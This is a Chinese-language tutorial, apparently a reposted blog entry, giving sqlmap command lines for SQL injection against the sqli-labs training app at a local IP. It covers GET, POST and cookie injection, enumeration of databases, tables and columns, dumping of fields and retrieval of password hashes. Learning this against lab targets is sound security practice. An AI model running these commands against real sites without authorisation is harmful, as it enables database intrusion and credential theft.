1. 程式人生 > 資料庫 >sqlmap命令及引數常規操作

sqlmap命令及引數常規操作

HTTP協議規定post提交的資料必須放在訊息主體(entity-body)中,但協議沒有規定資料必須使用什麼編碼方式。HTTP協議是以ASCII碼傳輸,建立再TCP/IP協議之上的應用層規範。HTTP請求分為3個部分:狀態行、請求頭和訊息主體。類似於:

服務端通常是根據請求頭(header)中的Content_Type欄位來獲取請求中的訊息主體是用何種方式編碼,再對訊息主體進行解析。

SQLmap常規操作

GET形式

Python sqlmap.py -u “http://–url地址–/index.php?id=1” //注入判斷-u:URL地址引數
在這裡插入圖片描述在這裡插入圖片描述python sqlmap.py -u “http://192.168.0.141/sqli-labs/Less-1/index.php?id=1” --banner //檢視資料庫版本

在這裡插入圖片描述在這裡插入圖片描述
Python sqlmap.py -u “http://–url地址–/index.php?id=1” --current-user //當前使用者
在這裡插入圖片描述在這裡插入圖片描述在這裡插入圖片描述Python sqlmap.py -u “http://–url地址–/index.php?id=1” --password //查詢資料庫使用者密碼
在這裡插入圖片描述在這裡插入圖片描述Python sqlmap.py -u “http://–url地址–/index.php?id=1” --dbs //檢視所有的資料庫
在這裡插入圖片描述在這裡插入圖片描述Python sqlmap.py -u “http://–url地址–/index.php?id=1” --current-db //檢視當前的資料庫
在這裡插入圖片描述在這裡插入圖片描述
Python sqlmap.py -u “http://–url地址–/index.php?id=1” --tables //檢視所有的表

在這裡插入圖片描述在這裡插入圖片描述Python sqlmap.py -u “http://–url地址–/index.php?id=1” --tables -D A //檢視A庫下的所有表

在這裡插入圖片描述在這裡插入圖片描述Python sqlmap.py -u “http://–url地址–/index.php?id=1” --columns -D A -T B //查詢A庫B表下的所有列

在這裡插入圖片描述Python sqlmap.py -u “http://–url地址–/index.php?id=1” -C “E,F” -D A -T B //匯出欄位裡的內容

在這裡插入圖片描述在這裡插入圖片描述

——POST形式——

Python sqlmap.py -u “http://–url–/” --data “uname=123&passwd=123&submit=Submit” //指定頁面的POST注入

在這裡插入圖片描述
在這裡插入圖片描述
Python sqlmap.py -r “絕對路徑\檔名” --level 3

在這裡插入圖片描述在這裡插入圖片描述
python sqlmap.py -u “http://192.168.0.141/sqli-labs/Less-20/index.php” --cookie=“uname=admin” --level 2 //檢測指定cookie欄位進行注入
Python sqlmap.py -r “絕對路徑\檔名.txt”–level 2 //檢測檔案內cookie欄位進行注入
在這裡插入圖片描述
在這裡插入圖片描述
python sqlmap.py -u “http://192.168.0.141/sqli-labs/Less-20/index.php” --cookie=“uname=admin” --dbs --level 2
在這裡插入圖片描述在這裡插入圖片描述
python sqlmap.py -u “http://192.168.0.141/sqli-labs/Less-1/index.php?id=1” --hostname //檢視主機名

在這裡插入圖片描述在這裡插入圖片描述